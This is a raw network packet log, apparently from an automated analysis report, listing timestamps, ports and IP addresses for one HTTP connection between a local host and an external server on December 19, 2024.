Dec 19, 2024 20:11:50.623307943 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.623409033 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.623420954 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.623469114 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.624094009 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.625005007 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.625020981 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.625058889 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.625072002 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.625155926 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.625768900 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.625890970 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.625977993 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.626029015 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.626688004 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.626745939 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.626912117 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.626962900 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.627593040 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.627635002 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.628046036 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.628094912 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.628417969 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.628463984 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.629331112 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.629352093 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.629383087 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.629395008 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.629478931 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.629527092 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.630232096 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.630269051 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.630280972 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.630310059 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.631234884 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.631283045 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.631345034 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.631386995 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.631899118 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.632030010 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.632061958 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.632078886 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.632813931 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.633167982 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.633287907 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.633690119 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.633749008 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.633837938 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.634521008 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.634524107 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.634705067 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.634783983 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.634831905 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.635370970 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.635432959 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.635463953 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.635514021 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.636239052 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.636286974 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.636466980 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.636523008 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.637141943 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.637187004 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.637399912 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.637486935 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.637988091 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.638036013 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.638159990 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.638201952 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.638838053 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.638902903 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.639075041 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.639128923 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.639775991 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.639828920 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.639898062 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.639946938 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.640594006 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.640636921 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.640847921 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.641483068 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.641531944 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.641685963 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.642219067 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.642298937 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.642340899 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.642399073 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.642463923 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.643177986 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.643305063 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.643582106 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.643675089 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.644087076 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.644150019 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.644169092 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.644218922 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.644905090 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.644957066 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.645256996 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.645308018 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.645776987 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.645891905 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.646068096 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.646137953 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.646673918 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.646718025 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.647557974 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.647571087 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.647634029 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.647842884 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.647938013 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.648538113 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.648587942 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.648704052 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.648838997 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.649360895 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.649374008 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.649416924 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.650201082 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.650245905 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.650382042 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.650434971 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.650999069 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.651047945 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.651163101 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.651287079 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.651920080 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.651972055 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.652107954 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.652182102 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.652693987 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.652798891 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.799644947 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.799698114 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.799777031 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.799827099 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.800054073 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.800179005 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.800204039 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.800223112 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.801163912 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.801270962 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.801290035 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.801359892 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.801829100 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.801877975 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.801912069 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.802021027 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.802668095 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.802927971 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.803019047 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.803550005 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.803610086 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.803745985 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.804466963 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.804521084 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.804696083 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.805275917 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.805309057 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.805321932 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.805377960 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.806171894 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.806225061 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.806756973 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.807040930 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.807096958 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.807252884 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.807636023 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.807873011 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.807928085 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.808145046 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.808193922 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.808764935 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.808877945 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.808927059 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.809685946 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.809772968 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.809804916 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.809818029 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.810550928 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.810591936 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.810668945 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.810767889 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.811506987 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.811563015 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.811737061 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.811789036 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.812649012 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.812707901 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.813008070 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.813055038 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.813512087 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.813563108 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.813648939 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.813699961 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.814292908 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.814341068 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.815052986 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.815232992 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.815246105 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.815289021 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.815325975 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.816025019 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.816169024 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.816231012 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.816293001 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.816734076 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.816785097 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.816963911 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.817012072 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.817467928 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.817517042 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.817553043 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.817598104 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.818347931 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.818393946 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.818439007 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.818479061 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.819235086 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.819283962 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.819428921 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.819511890 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.820075035 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.820122004 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.820394993 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.820445061 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.820899963 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.820949078 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.821152925 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.821204901 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.821746111 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.821800947 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.822125912 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.822544098 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.822743893 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.822820902 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.822876930 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.822922945 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.823518991 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.823568106 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.823674917 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.823724031 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.824321032 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.824373007 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.824450970 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.824496984 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.825310946 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.825361013 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.825819969 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.825922966 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.826131105 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.826179981 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.826215982 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.826258898 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.827038050 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.827081919 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.827095032 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.827152014 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.827842951 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.827919006 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.828087091 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.828142881 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.828788042 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.828839064 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.828872919 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.828917980 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.829628944 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.829677105 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.829739094 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.829783916 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.830566883 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.830611944 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.830678940 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.830722094 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.831409931 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.831455946 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.831481934 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.831522942 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.832371950 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.832520008 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.832554102 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.832567930 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.833085060 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.833157063 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.833951950 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.833964109 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.834009886 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.834150076 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.834201097 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.834824085 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.834880114 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.834978104 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.835024118 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.835782051 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.835858107 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.836028099 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.836191893 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.836522102 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.836699009 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.836724997 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.836738110 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.837400913 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.837449074 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.837750912 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.837795973 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.838304996 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.838351011 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.838447094 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.838500023 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.839246988 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.839298010 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.839520931 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.839565992 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.839999914 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.840080023 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.840111971 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.840243101 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.840852976 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.840934992 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.841036081 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.841085911 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.841706038 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.841758013 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.841824055 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.842163086 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.842606068 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.842654943 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.842813969 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.842861891 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.843591928 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.843645096 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.843934059 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.843978882 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.844491959 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.844537973 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.844578981 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.844621897 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.845665932 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.845717907 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.991660118 CET	80	49877	31.41.244.11	192.168.2.4
